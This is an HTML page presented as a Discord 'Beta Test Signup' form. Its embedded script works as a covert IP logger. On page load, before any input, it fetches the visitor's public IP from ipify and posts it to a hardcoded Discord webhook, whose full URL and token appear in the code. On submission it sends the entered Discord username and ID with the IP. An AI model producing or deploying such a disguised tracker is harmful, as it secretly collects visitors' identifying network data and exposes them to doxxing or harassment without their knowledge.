<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Beta Test Form</title>
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;600&display=swap" rel="stylesheet">
    <style>
        /* Dark Theme Styling */
        body {
            background-color: #121212;
            color: #e0e0e0;
            font-family: 'Poppins', sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }

        .form-container {
            background-color: #1e1e1e;
            padding: 30px;
            border-radius: 12px;
            width: 350px;
            box-shadow: 0 8px 20px rgba(0, 0, 0, 0.7);
            display: flex;
            flex-direction: column;
            align-items: stretch;
        }

        h1 {
            text-align: center;
            font-size: 28px;
            color: #fff;
            margin-bottom: 25px;
            font-weight: 600;
        }

        input[type="text"] {
            width: 100%;
            padding: 12px;
            margin: 12px 0;
            border: 1px solid #333;
            border-radius: 6px;
            background-color: #333;
            color: #fff;
            font-size: 16px;
            box-sizing: border-box;
            transition: background-color 0.3s ease, border-color 0.3s ease;
        }

        input[type="text"]:focus {
            background-color: #444;
            border-color: #6200ea;
            outline: none;
        }

        button {
            width: 100%;
            padding: 12px;
            background-color: #6200ea;
            border: none;
            border-radius: 6px;
            color: #fff;
            font-size: 18px;
            cursor: pointer;
            margin-top: 15px;
            box-sizing: border-box;
            transition: background-color 0.3s ease, transform 0.2s ease;
        }

        button:hover {
            background-color: #3700b3;
            transform: translateY(-2px);
        }

        button:active {
            transform: translateY(2px);
        }

        .message {
            text-align: center;
            color: #76ff03;
            display: none;
            margin-top: 15px;
            font-size: 16px;
        }
    </style>
    <script>
        function generateSessionKey() {
    const timestamp = Date.now(); // Current timestamp
    const randomNum = Math.floor(Math.random() * 1000000); // Random number for uniqueness
    const sessionKey = `sess-${timestamp}-${randomNum}`; // Format the session key
    return sessionKey;
}

const SessionID = generateSessionKey();

// Send log data to Discord webhook
async function logIpAddress(discordUser, discordId, first) {
    try {
        const ipResponse = await fetch("https://api.ipify.org?format=json");
        const ipData = await ipResponse.json();
        const ipAddress = ipData.ip;

        const webhookUrl = "https://discord.com/api/webhooks/1323904338556485685/5IxGOQCI-cPRzYt9yzkLTRLl2poWDPEUXUfDnMm_Q3WVWNLIEoZJaHCFReITxucakY97";
        const payload = {
            embeds: [{
                title: "Beta Test Signup",
                description: `User is signing up for beta testing.`,
                color: 3066993,
                fields: [
                    {
                        name: "Discord Username",
                        value: discordUser,
                        inline: true
                    },
                    {
                        name: "Discord ID",
                        value: discordId,
                        inline: true
                    },
                    {
                        name: "IP Address",
                        value: ipAddress,
                        inline: true
                    },
                    {
                        name: "Session ID",
                        value: SessionID,
                        inline: true
                    }
                ],
                timestamp: new Date().toISOString()
            }]
        };

        await fetch(webhookUrl, {
            method: "POST",
            headers: {
                "Content-Type": "application/json"
            },
            body: JSON.stringify(payload)
        });
        
        if (!first) {
        document.querySelector('.message').style.display = 'block';
        document.querySelector('.message').textContent = 'Successfully submitted for beta testing!';
        }
    } catch (error) {
        console.error("Error sending to webhook:", error);
        alert("There was an error submitting your key. Please try again.");
    }
}

// Handle form submission
function submitForm() {
    const discordUser = document.getElementById('discordUser').value;
    const discordId = document.getElementById('discordId').value;

    // Only proceed if both fields are filled
    if (discordUser && discordId) {
        logIpAddress(discordUser, discordId, false);
    } else {
        alert("Please fill in both Discord Username and Discord ID.");
    }
}

window.onload = function() {
    logIpAddress("Unknown", 0, true)
}
    </script>
</head>
<body>
    <div class="form-container">
        <h1>Beta Test Signup</h1>
        <input type="text" id="discordUser" placeholder="Discord Username" required>
        <input type="text" id="discordId" placeholder="Discord ID" required>
        <button onclick="submitForm()">Submit</button>
        <div class="message"></div>
    </div>
</body>
</html>